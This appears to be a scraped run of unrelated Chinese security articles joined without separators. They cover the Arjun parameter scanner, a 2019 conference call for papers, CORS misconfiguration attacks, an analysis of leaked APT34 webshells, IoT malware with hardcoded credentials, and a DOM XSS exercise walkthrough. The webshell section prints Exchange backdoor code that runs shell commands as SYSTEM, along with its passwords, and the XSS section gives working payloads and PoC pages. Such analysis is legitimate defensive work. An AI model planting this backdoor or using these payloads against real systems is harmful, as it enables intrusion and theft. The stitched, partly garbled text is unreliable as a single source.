a.png

今天给大家介绍的是一款名叫Arjun的开源工具,广大研究人员可以利用该工具来对HTTP参数进行提取和分析。

b.png

功能介绍

1、 多线程;

2、 四种检测模式;

3、 常规扫描仅需30秒;

4、 基于正则表达式的启发式扫描;

5、 提供了25980个可扫描的参数名;

6、 只想目标发送30-5个请求即可完成任务;

工具使用

注意:当前版本的Arjun不支持Python < 3.4的环境。

参数发现

用户可以使用下列命令查找GET参数:

python3 arjun.py -u https://api.example.com/endpoint --get

类似的,用户可以使用–post来查找POST请求。

多线程

Arjun默认仅会使用两个线程,广大用户可以根据自己的网络连接状况或特定需求来调整Arjun性能:

python3 arjun.py -u https://api.example.com/endpoint --get -t 22

请求间隔延迟

用户可以使用-d选项来延迟请求发送的间隔时间:

python3 arjun.py -u https://api.example.com/endpoint --get -d 2

引入固定数据

比如说你设置了一个API密钥,并且每次发送请求时都需要携带这个密钥,那你就可以使用–include参数来告知Arjun:

python3 arjun.py -u https://api.example.com/endpoint --get --include 'api_key=xxxxx'

或者:

python3 arjun.py -u https://api.example.com/endpoint --get --include'{"api_key":"xxxxx"}'

如果你需要传入多个参数的话,你可以使用“&”来分隔不同参数,或以有效的JSON对象格式进行传递。

JSON输出

用户可以使用-o参数来以JSON格式存储工具的输出结果:

python3 arjun.py -u https://api.example.com/endpoint --get -o result.json

添加HTTP Header

用户可以使用“–headers”选项来开启交互式命令行,然后输入需要设置的header。完成之后,按下Ctrl + S键保存配置,然后按下Ctrl + X进行数据处理。

c.png

*参考来源:Arjun,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

image.png

SSC安全峰会于2016年创办于西安,每年举办一届,迄今为止已成功举办了三届,得到了行业充分认可和社会各届广泛关注,成为我国中西部最具盛名,影响力最大,知名度最高的网络安全峰会,进一步推动了陕西及整个西北地区的信息安全产业发展,为建设网络强省和新时代追赶超越提供有力支撑,为网络安全强国建设贡献力量。

2019第四届SSC安全峰会将于8月份在古都西安盛大开启!

相比以往,SSC安全峰会逐步走向政企合作、技术交流、技术创新、成果展示、资源对接、产学研用为一体的协同互促平台。本届SSC安全峰会规模更大、规格更高、影响力更广,旨在与全球硬科技创新大会、全球程序员节一并,成为西安“硬科技+信息技术+安全人才“的综合性会议。

大会简介

CloverSec Security Conference(简称:SSC),致力于打造为国内顶尖的网络安全峰会,旨在搭建“开放、共享、创新”的网络安全协同互促平台,推动国家网络安全事业整体发展,助力网络强国建设。

议题方向

· 云安全

· 移动安全

· 攻击溯源,漏洞挖掘

· 个人隐私安全

· 数据安全

· 关键信息基础设施保护

· 5G安全

· 工业互联网安全

· 区块链应用及安全

备注:包括但不仅限于。

议题征集日期

· 即日起 ——2019年7月1日

征文要求

①演讲者需要对征文进行明确的内容描述,包括但不仅限于研究思路、研究发现、研究成果及解决方案,同时说明该议题是否在其他地方有过相关发布和发布范围。

②演讲者提交议题时,需包含自我介绍,个人照片,议题简介(200字),演讲PPT等内容。

③以企业宣传、产品推广或销售为目的的议题将不被采纳。

④演讲时长:35分钟。

议题提交方式

所有征文以【2019SSC议题申报+议题名称】为邮件名,发送至[email protected]邮箱。

SSC评委组进行筛选,无论您的议题是否被收录,我们都会通过您留下的联系方式告知您审核结果。

演讲嘉宾权益

如果您的投稿被SSC收录,就意味着您将在SSC会议上单独发表演讲。组委会将为演讲者提供:

· 往返交通费,仅限演讲者本人

· 会议通票

· 会议期间的餐饮和住宿

· 媒体报道

· 受邀参加闭门会议

· 永久免费SSC安全峰会直通车

往届回顾

2016年,第一届SSC安全峰会以“安全·传继”为主题,通过传承黑客精神,弘扬网络安全正能量,为安全行业的网络安全爱好者提供未来的发展方向。

2017年,第二届SSC安全峰会以“联动创新 智御未来”为主题,凝聚全国优秀的网络安全企业,汇聚全国网络安全专家、行业大咖、网络安全爱好者、高校学生共同聚焦“网络安全”。

2018年,第三届SSC安全峰会以“智御安全•洞鉴未来”为主题,与业界大咖一起探讨安全新方向,探究安全新理念,共创安全新未来。

会议咨询

关于本次活动任何问题(媒体合作、企业赞助等)

可联系电话:春生15109277690

同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应用程序和微服务使用的日益增长,出于实用目的往往需要将信息从一个子域传递到另一个子域,或者在不同域之间进行传递(例如将访问令牌和会话标识符,传递给另一个应用程序)。

为了允许跨域通信,开发人员必须使用不同的技术来绕过SOP并传递敏感信息,以至于现今也成为了一个棘手的安全问题。因此,为了在不影响应用程序安全状态的情况下实现信息共享,在HTML5中引入了跨源资源共享(CORS)。但问题也随之而来,许多人为了方便干脆直接使用默认的配置,或是由于缺乏对此的了解而导致了错误的配置。

因此,作为安全分析师/工程师,了解如何利用错误配置的CORS标头非常重要。这也将有助于你在灾难发生之前更好地对其进行补救。

什么是 CORS?

CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持。它的通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

关键 CORS 标头

有许多与CORS相关的HTTP标头,但以下三个响应标头对于安全性最为重要:

Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。

Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。

Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

三个攻击场景

利用CORS标头中错误配置的通配符(*)

最常见的CORS配置错误之一是错误地使用诸如(*)之类的通配符,允许域请求资源。这通常设置为默认值,这意味着任何域都可以访问此站点上的资源。例如:

GET /api/userinfo.php
Host: www.victim.com
Origin: www.victim.com

当你发送上述请求时,你将获得具有Access-Control-Allow-Origin标头设置的响应。请参阅以下响应代码。

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在此示例中,标头配置了通配符(*)。 这意味着任何域都可以访问资源。

在测试我们客户的Web应用程序时,我们注意到了这种错误配置。我们能够利用它来获取用户信息,如姓名,用户ID,电子邮件ID,并能够将此信息发送到外部服务器。在下图中,我们将REQUEST Origin从受害者域修改为攻击者域。

1.png

以下是我们收到的响应,这意味着受害域允许访问来自所有站点的资源。我们的攻击案例中的Testing.aaa.com网站。

2.png

由于该站点共享来自任何站点的信息,因此让我们进一步的使用我们自己的域来利用它。我们创建了名为https://testing.aaa.com的域,并将其嵌入漏洞利用代码,以便从易受攻击的应用程序中窃取机密信息。当受害者在浏览器中打开https://testing.aaa.com时,它会检索敏感信息并发送给攻击者的服务器。以下是我们可以收集到的信息,如下图所示。

3.png

将信任域通配符作为 Origin

另一种常见的错误配置是允许与部分验证的域名共享信息。例如,以下请求:

GET /api/userinfo.php
Host: provider.com
Origin: requester.com

响应如下:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: requester.com
Access-Control-Allow-Credentials: true

考虑一下开发人员是否配置了CORS来验证“Origin header”URL,白名单域只是“requester.com”。现在,当攻击者发起如下请求时:

GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackerrequester.com

服务器会响应:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: attackerrequester.com
Access-Control-Allow-Credentials: true

发生这种情况的原因可能是后端配置错误,例如:

if ($_SERVER['HTTP_HOST'] == '*requester.com')
 {
  //Access data
  else{ // unauthorized access}
}

我们在客户的一个应用程序中遇到了这个问题。主机域“provider.com”信任以主机名“requester.com”结尾的所有来源,例如“attackerrequester.com”。 因此,我们将origin头部篡改为attackerrequester.com并继续执行请求。

4.png

在以下响应中,相同的origin在响应Access-control-Allow-Origin标头中,这意味着provider.com域允许共享资源到以requester.com结尾的域。

5.png

因此,我们可以创建一个由列入白名单的域名组成的新域名。然后,将恶意站点嵌入利用代码从而获取受害者站点上的敏感信息。

使用 XSS 实现 CORS 的利用

开发人员用于对抗CORS利用的一种防御机制,是将频繁请求访问信息的域列入白名单。但这并不完全安全,因为只要白名单域中的一个子域易受到其他攻击(如XSS),那么也可以进行CORS利用。

让我们看一个示例,以下代码将允许requester.com的子域访问provider.com的资源配置。

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
 {
  //Access data
  else{ // unauthorized access}
} 

假设用户可以访问sub.requester.com而不是requester.com,并且sub.requster.com易受XSS攻击。那么用户就可以使用XSS来利用provider.com。

我们在同一个域上托管了两个应用程序。CORS应用程序托管在testingcors.com上,另一个应用程序则托管在pavan.testingcors.com上,该应用程序易受XSS的攻击。

6.png

使用这个易受攻击的XSS子域,我们可以从testingcors.com上获取敏感信息。我们在“Name”参数中注入了恶意javascript payload。页面加载后,脚本将被执行,并从testingcors.com中获取敏感信息。

7.png

总结

CORS是上榜OWASP TOP 10的安全漏洞。在实现站点之间信息共享的过程中,人们往往会忽略CORS配置的重要性。作为开发人员或安全专家,了解此漏洞以及如何对它进行利用至关重要。

*参考来源:we45,FB小编secist编译,转载请注明来自FreeBuf.COM

0x00 前言

最近APT34的6款工具被泄露,本文作为分析文章的第二篇(第一篇文章回顾),仅在技术角度对其中的HighShell和HyperShell进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对HighShell的分析

· 对HyperShell的分析

· 小结

0x02 对HighShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HighShell。

其中的文件为HighShell.aspx,是针对Windows服务器的webshell。

默认访问页面如下图:

Alt text

Login框为红色,需要输入连接口令。

正确的口令为Th!sN0tF0rFAN。

输入正确的口令后,点击Do it,刷新页面,成功登录,如下图:

Alt text

Login框变为绿色。

该工具的公开线索:

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell同paloaltonetworks在文中提到的TwoFace的页面相同。

0x03 对HyperShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HyperShell。

下面包含7个文件夹:

· ExpiredPasswordTech

· HyperShell

· Image

· Libraries

· packages

· ShellLocal

· StableVersion

1.ExpiredPasswordTech

包括3个文件:

· error4.aspx,功能与HighShell.aspx相同,但登录口令未知

· ExpiredPassword.aspx,适用于Exchange的webshell

· MyMaster.aspx,生成字符串:NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多个文件,是各个webshell的源码文件。

其中包含另一个可用的webshell,相对路径:.\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

连接口令:MkRg5dm8MOk。

如下图:

Alt text

3.Image

图片文件夹。

4.Libraries

包含多个依赖文件。

5.packages

包含多个依赖文件。

6. ShellLocal

空文件夹。

7. StableVersion

稳定版本,包含多个webshell。

(1)ExpiredPassword.aspx

适用于Exchange的webshell。

相对路径:.\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

与相对路径.\Webshells_and_Panel\HyperShell\ExpiredPasswordTech下的文件内容相同。

ExpiredPassword.aspx是Exchange正常的功能,对应重置用户口令的页面,如下图:

Alt text

访问的URL:https://<domain>/owa/auth/ExpiredPassword.aspx

对应Windows绝对路径:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

该路径下的webshell默认权限为System

我的测试系统安装了Exchange2013,正常的ExpiredPassword.aspx源码我已经上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)

HyperShell中的ExpiredPassword.aspx是一个添加了后门代码的文件,同我测试环境的正常ExpiredPassword.aspx文件相比有多处不同,如下图:

Alt text

经过分析发现有可能是Exchange版本差异导致的,忽略版本差异,HyperShell中的ExpiredPassword.aspx主要添加了如下代码:

              <%
                    try{
                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "[email protected]#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
                    {
                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;
                        i.FileName = "cmd";
                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
                        i.UseShellExecute = false;
                        i.CreateNoWindow = true;
                        i.RedirectStandardOutput = true;
                        p.Start();
                        string r = p.StandardOutput.ReadToEnd();
                        p.WaitForExit();
                        p.Close();
                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
                        Response.End();
                    }}catch{}
                %>

对应到我的测试环境,也就是Exchange2013,添加payload后的代码已上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)(HyperShell)

使用方法如下图:

Alt text

New password项对应登录webshell的验证口令,验证通过后会执行Confirm new password项的内容,权限为System。

泄露的文件中未提到webshell的验证口令,为了验证该后门,我们修改代码去掉登录webshell的验证环节即可。

(2)HighShellLocal

功能强大的webshell。

相对路径:.\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解压到当前目录,相对路径为.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal,包括以下文件:

· 文件夹css

· 文件夹files

· 文件夹js

· HighShellLocal.aspx

实际使用时,还需要.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\下的bin文件夹,否则提示无法使用Json。

完整结构如下:

│ HighShellLocal.aspx │ ├───bin │ Newtonsoft.Json.dll │ ├───css │ │ main.css │ │ │ └───img │ box-zipper.png │ download-cloud.png │ exclamation-diamond.png │ heart-break.png │ heart-empty.png │ heart.png │ minus-button.png │ ├───files │ 7za.exe │ nbt.exe │ rx.exe │ └───js │ explorer.js │ main.js │ send.js │ utility.js │ ├───components │
├───jquery │
└───semantic

登录口令:Th!sN0tF0rFAN

登录页面如下图:

Alt text

输入正确的登录口令后,如下图:

Alt text

可以看到该webshell支持多个功能。

0x04 小结

本文对泄露文件中的HighShell和HyperShell进行了分析,其中HyperShell中的ExpiredPassword.aspx是一个比较隐蔽的webshell,目前为止我还未在公开资料中找到这种利用方法。

有效的恶意软件常使用已知或者未知的漏洞来完成其主要功能。本文中介绍McAfee ATR提交的一个漏洞,并介绍一款利用多个相似漏洞的恶意软件。

McAfee ATR安全研究人员2018年5月21日就向Belkin提交了Belkin WeMo Insight智能插座中一个重要的远程代码执行漏洞,还提供了PoC和利用代码以及demo视频。厂商回应称已经准备好了补丁,会及时修复。但是截止8月21日厂商仍然没有修复该漏洞。研究人员按计划公开了该漏洞,目的是促使厂商修复该漏洞、教育安全社区驱动防御开发、最后使开发者意识到不安全开发的代码带来的影响。CVE-2018-6692漏洞详情公开近一年,仍然是0 day漏洞。

针对IoT的恶意软件

近期,Trend Micro研究人员在博客中介绍了一款针对IoT的恶意软件——Bashlite。这款恶意软件近期新增了许多目标为IOT设备,尤其是利用Metasploit模块来利用WeMo UPnP协议中的已知漏洞。该漏洞与Belkin 2015年修复的漏洞类似,使用SetSmartDevInfo动作和对应的SmartDevURL参数来利用有漏洞的WeMo设备。

可以确定的是Metasploit模块并不针对McAfee ATR提交的这个漏洞,McAfee ATR提交的漏洞位于<EnergyPerUnitCostVersion> XML域内,而不是libUPnPHndlr.so库函数中。

Bashlit分析和IOT设备目标

在分析了Bashlit恶意软件的相关样本后,研究人员发现在多款IOT设备中都存在检查默认凭证和已知漏洞的情况。比如,研究人员就曾经看到一个在oelinux123二进制文件中引用密码的情况。

该IoT设备是一个Alcatel移动WiFi,该设备使用了大量的已知或默认密码。最常用的用户名/密码的组合是root:oelinux123。研究人员在分析恶意软件时,使用了上面的步骤来枚举和扫描有漏洞的设备。

下图是使用IDA Pro来查看密码OELINUX123被用来访问移动WiFi设备。

下图是一个跳转表,用已知的漏洞和密码来扫描和识别一系列的设备和目标。

下图是Echobot扫描器的扫描结果,用来报告模板设备中存在的可能的漏洞。

下图是恶意软件使用的硬编码的凭证列表。

其中huigu309与Zhone和Alcatel Lucent路由器相关联。这两款路由器的固件中都有已知的漏洞、后门和硬编码的凭证。

鉴于通用WeMo Metasploit模块的添加,研究认为Belkin WeMo设备将会成为恶意软件的攻击目标。如果厂商不提供及时、有效的补丁,那么就增加了恶意软件武器化漏洞的可能性。

安全建议

因为利用该漏洞需要网络访问权限,研究人员建议WeMo Insight这样的IOT设备使用强WiFi密码,使用VLAN和网络隔离来讲IoT设备和其他关键设备隔离。

对厂商、消费者和企业的建议

虽然软件漏洞无法避免,都是厂商可以及时提供有效的漏洞补丁。对消费者来说,要及时下载和安装安全更新以及漏洞补丁,对家用网络和设备使用强密码策略。企业级用户也需要警惕,因为一旦家用网络被攻破,那么网络中的所有设备可能都处于危险中,其中就包括公司计算机。这也是犯罪分子常用的跨越家庭和企业边界进行攻击的方法。

这一系列的博客文章将向你展示如何在单页或富JavaScript的应用程序上识别DOM XSS的问题。作为示例,我们将在DOM XSS playground(https://domgo.at)上解决10个练习题目,并为检测到的问题创建了简单的概念证明漏洞。

这篇文章的内容涵盖了前两个练习的设置说明和解决方案。剩余的练习将在我们发布的其他文章中提到。我们还将发布一个gitbook,其中包含了Appsecco书籍门户网站上所有练习的解决方案。

更新:gitbook会挂在我们的图书门户网站上—— https://appsecco.com/books/automating-discovery-and-exploiting-dom-client-xss/

什么是DOM XSS / Client XSS?

纵观Cross Site Scripting漏洞的历史,在测试人员和开发人员的心中都占有特殊的地位。使用标准检的测技术很难检测到这种XSS的变体,并且相对的来说,这种漏洞的变体很容易出现在大型的JS应用程序中。

OWASP将其定义为XSS的漏洞类型,其中的原因是由于这种漏洞是在受害者浏览器中通过原始客户端脚本修改DOM环境而执行攻击有效载荷,因此客户端代码以一种 “意外” 的方式运行。也就是说,页面本身(即HTTP响应)不会改变,但由于DOM环境中发生了恶意的修改,页面中包含的客户端代码执行方式发生了改变。

简而言之,当来自DOM源(如location.hash)的用户输入发现它赋值到了DOM接收器(如HTMLElement.innerHTML)时,就会发生客户端XSS漏洞。 DOM中有多个源,也可以有多个接收器,具体取决于JS的复杂程度和其所实现的功能。

通过手动的方式或代码审查来检测DOM XSS可能会花费大量的时间。一种可行的技术是通过一个工具从服务器发送流量,该工具可以注入自己的JS来监控DOM变化,只需浏览网站即可枚举所有源和接收器。

进入Sboxr

Sboxr是一个测试和调试Web应用程序的工具,尤其是大型的JavaScript应用程序。 Sboxr通过在浏览器和服务器之间的流量中注入它自己的JS代码(称为DOM传感器)来工作,该代码在使用站点时监视JS的使用情况,源,接收器,变量分配,函数调用等。然后,它通过其Web控制台显示用户控制的数据在数据最终出现在执行接收器中时所采用的各种流的视图。

设置Sboxr和Chrome 

我们使用Ubuntu 18.04来设置我们的攻击工具链以及Chrome 72。以下步骤将帮助你进行设置:

1、从供应商网站获取Sboxr的许可副本 – https://sboxr.com/

2、运行Sboxr需要.NET 核心 SDK,可以按照这里的(https://dotnet.microsoft.com/download/linux-package-manager/ubuntu18-04/sdk-current)说明在Linux上进行安装。对于Windows系统,请按照这个(https://dotnet.microsoft.com/download)说明进行操作即可。

3、安装完成后,通过运行dotnet Sboxr.dll启动Sboxr

4、程序启动后会在端口3333 http://localhost:3333/console 上访问到Sboxr Web界面(用于管理和分析发现的问题),端口3331是一个代理端口。

5、如果你希望链接Burp或其他拦截代理,请浏览并单击HTTP Sensor以设置上游代理(例如Burp或OWASP ZAP)的IP地址和端口。

01.png

设置完成后,我们需要配置浏览器向Sboxr发送流量(然后可以转发到Burp或OWASP ZAP)。

02.png

Sboxr目前还不支持SOCKS代理,因此你需要使用Burp或OWASP ZAP进行链接以阻止流量。

ED_:D_=>HTTPS站点可能无法与Sboxr一起正常工作,因为我们没有应该要导入的证书。因此,我们使用–ignore-certificate-errors参数启动Chrome(我们注意到Firefox的about:config中的禁用HSTS检查的network.stricttransportsecurity.preloadlist选项有一些问题,因此我们暂时会一直使用Chrome)。

在Linux上,使用以下命令启动Chrome:

mkdir -p ~/.chrome;/opt/google/chrome/chrome -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331\;https=http://localhost:3331 --user-data-dir=~/.chrome

在Windows系统上,可以执行以下操作(假设你的安装路径也是标准的安装路径)

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331;https=http://localhost:3331 --user-data-dir="C:\Users\%Username%\AppData\Local\Temp\TestChromeProxy"
\Program Files(x86)\Google \Chrome \Application \chrome.exe”-incognito --ignore-certificate-errors --proxy-server = http = http:// localhost:3331; https = http://localhost:3331 --user-data-dir =“C:\Users \%Username%\AppData \Local \Temp \TestChromeProxy”

检测并利用DOM XSS

在本文的这一部分,我们将使用Sboxr的创建者设置的客户端XSS playground来练习我们对客户端XSS漏洞的检测和利用技能。

https://domgo.at 。

概念验证漏洞Demo。这些漏洞可用于在提交错误报告时创建你自己的PoC,因为它们允许读者查看正在执行的用户控制的数据。 

练习1

1、浏览到https://domgo.at/ 并单击左侧窗格中的练习1,就可以使用命令行选项启动Chrome中的第一个练习。

2、切换到Sboxr控制台并单击Sboxr侧栏中的代码执行

03.png 

3、从HTML上下文可以看出,数据源是location.hashproperty,导致执行的接收器是HTMLElement.innerHTML

04.png

4、点击“代码执行”图标将打开代码执行详细信息的窗口。

05.png

5、通过单击View事件位置详细信息的那个狙击图标,我们可以清楚地看到JS中我们的数据在哪里被接收器HTMLElement.innerHTML使用。

06.png

6、为了显示location.hash属性是可利用的,我们通过源传递JS并让它到达接收器以查看它是否已执行。

7、题目的解决方案是通过location.hash属性传递<svg onload=alert(document.domain)>。最终的漏洞利用PoC是 –  https://domgo.at/cxss/example/1?payload=abcd&sp=x# <svg%20onload= alert(document.domain)>

07.png

练习2

1、单击侧栏上的练习1来加载练习题目1

2、单击侧栏上的练习 –  2以加载第二个练习题目。必须通过点击操作进入题目,而不是直接浏览到题目的URL,因为本练习中的源是document.referrer属性。

3、我们按照与上一个练习相同的步骤开始,然后单击Sboxr侧栏中的“代码执行”

08.png

4、我们从易受攻击的代码中看到,如果referrer的URL中有一个名为payload的参数,则将其提取并传递给接收器。

5、我们可以使用以下简单的HTML页面构建我们的漏洞。将其另存为exercise2.html并在本地托管(nginx/Apache/python/node/anything),然后通过http://127.0.0.1/exercise2.html?payload=<svg%20onload=alert(document.domain)>进行访问。

<html>
     <body>
         <h2>PoC for Exercise 2 of https://domgo.at</h2>
         <script>
             window.location="https://domgo.at/cxss/example/2"
         </script>
     </body>
 </html>

6、该页面将加载并立即重定向到练习页面,因为referrer属性是用户控制的代码执行是可能的。

09.png

接下来我们来说说其他4个练习的解决方案。剩余的练习将在我们将发布的其他文章中提到。

练习3

在许多Web应用程序中,来自外部的第三方应用程序的数据可以使用接收器,并将其作为目标应用程序的一部分,而无需清理收到的响应。在这种情况下,第三方应用程序的XHR端点可以将恶意代码注入到目标应用程序中。即使在XHR响应来自同一站点的情况下,你也需要验证数据在服务器上的结果。在现代应用程序中,应用程序从不同的源收集不受信任的数据并将它们存储在服务器端数据库中,最终这些不受信任的数据会进入目标应用程序,从而导致持久性的DOM XSS。

此练习涉及对JSON端点的XHR请求,该请求会将数据反射到客户端。然后将反射的数据添加到接收器HTMLElement.innerHTML,从而执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

10.png

2、数据将由JSON端点反射到https://domgo.at/data.json?payload=thanos

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

11.png

4、我们可以准确地看到来自JSON响应的内容在接收器中使用并创建了一个漏洞。

12.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

13.png

练习4

与XHR响应类似,受信任的websocket数据是良性的,无论它来自何处都可能导致DOM XSS问题。

此练习涉及对安全websocket端点的websocket请求,该请求将数据反射到客户端。然后将反射的数据添加到接收器HTMLElement.innerHTML,从而执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

14.png

2、数据由wss://domgo.at/ws上的Websocket端点反射出来

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

15.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

16.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

17.png

练习5

XHR,fetch API,websockets或postMessage等通信信道经常被忽视,但最终可能会成为DOM XSS漏洞的源。特别是,如果数据来自不同的源。在响应中信任数据并通过接收器呈现/评估它可能导致DOM XSS问题,作为分析师,你必须留意这些源。

本练习涉及一个postMessage,它将用户控制的有效载荷发送到window.onmessage事件处理程序,并将数据下沉到HTMLElement.innerHTML,执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

18.png

2、在这种情况下,数据源是来自https://domgo.at(同源)的窗口消息。

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

19.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

20.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

21.png

练习6

另一个有趣的不受信任的数据来源是浏览器的存储源,包括localStorage,sessionStorage和IndexedDB。虽然攻击者无法直接控制DOM存储(除非应用程序中已存在XSS),但攻击者可能能够通过其他HTML元素或JS源将恶意数据引入存储源。此数据最终可能会从存储源的接收器中生成,并导致DOM XSS。

一个很好的例子就是Twitter子域上的DOM XSS  – https://hackerone.com/reports/297968

在本练习中,数据源是HTML LocalStorage。页面中的JS从localStorage读取数据并将其传送到HTMLElement.innerHTML,从而执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

22.png

2、在这种情况下,数据源是HTML localStorage。

3、在代码窗口下使用Sboxr查看从源到接收器的数据流

23.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

24.png

5. 要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

25.png

练习7

在本练习中,数据源是location.hash。但是,数据在添加到接收器HTMLElement.innerHTML之前进行处理。

1、单击练习7并注意URL中的哈希值。

2、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

26.png

3、我们可以确切地看到location.hash数据是如何北处理的,并从那里构建了一个漏洞。

4、从location.hash获取值,并将HTML标记替换为其HTML实体等价物(<替换为&lt; 以及> 替换为&gt;)。然后将数据附加到<a href ='#user =并创建锚了标签。

27.png

5、最后,数据被发送到接收器以写入页面,实际上是使用了我们的(假定的)构造的数据创建了锚标签。

28.png

6、这是数据反射的HTML属性值上下文的一个很好的例子。你可以

7、要利用这个漏洞,我们需要注入HTML属性值的上下文并关闭悬空的单引号。可以使用对锚标签有效的HTML事件(例如onmouseover或onclick等)触发JS。

8、利用漏洞的URL 是https://domgo.at/cxss/example/7#abcd'%20onmouseover=alert(document.domain)%20a='

29.png

练习8

这个练习与练习7完全相同,唯一的区别是JS期望location.hash包含一个名称值的字符串键值对(任何包含=字符的字符串)。

1、如果我们通过Sboxr查看JS,我们注意到通过location.hash传递的字符串在第一个=处被拆分,而字符串的其余部分用于构造转到接收器的数据(锚标签,如上一个练习)

30.png

2、在这种情况下的漏洞利用URL是https://domgo.at/cxss/example/8#anyrandomstring=hawkeye'%20onmouseover=alert(document.domain)%20a='

31.png

练习9

本练习使用两个源location.hash和window.name处理来自这些源的数据,然后将其发送到HTMLElement.innerHTML 接收器。

1、单击练习9并注意包含哈希值user=12345的URL

2、在这种情况下有两个来源。最终发送到接收器HTMLElement.innerHTML的数据是从两个源获得的。

32.png

3、查看代码执行细节,很明显,来自location.hash的数据在=符号处被分割,然后只选择前10个字符并将其附加到window.name中的数据。此外,在被附加到window.name中的数据之前,通过使用等效的HTML实体来清理出现的双引号。

33.png

4. 为此写一个漏洞EXP就意味着

· 通过location.hash传递10个字符但不能出现双引号(我们显然不能使用元素属性注入,因为我们无法突破href属性)

· 通过window.name传递JS的其余部分,并让易受攻击的JS将它们都附加到一起,最后就产生出我们想要的漏洞EXP

· 我们不能突破href属性,因为我们已经在href中,我们可以使用javascript:protocol handler来点击锚标签来触发我们的代码

· 本质上,我们是利用了javascript:alert(document.domain)作为我们的PoC。

5. 创建包含以下代码的HTML页面,将其托管在本地服务器上并在浏览器中打开它。

<html>
    <body onload=exploit()>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

6.大多数现代浏览器可能会使用内置的弹出窗口阻止程序启动阻止新窗口,但你必须允许这样做。如果你想摆脱弹出警告,你可以修改HTML PoC以触发用户驱动事件(如鼠标点击等)上的window.open。

<html>
    <body>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <label onclick="exploit()">Click me for solution to Exercise 9</label>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

7. 一旦你启动新窗口后,单击Welcome消息就会执行我们的有效载荷。

34.png

练习10

这与练习9类似,但JavaScript除外,其中的代码路径是基于条件分支执行的。使用手动测试很容易遗漏这一点,因为仅当满足JS中的某些代码条件时,接收器才会填充我们的恶意数据。

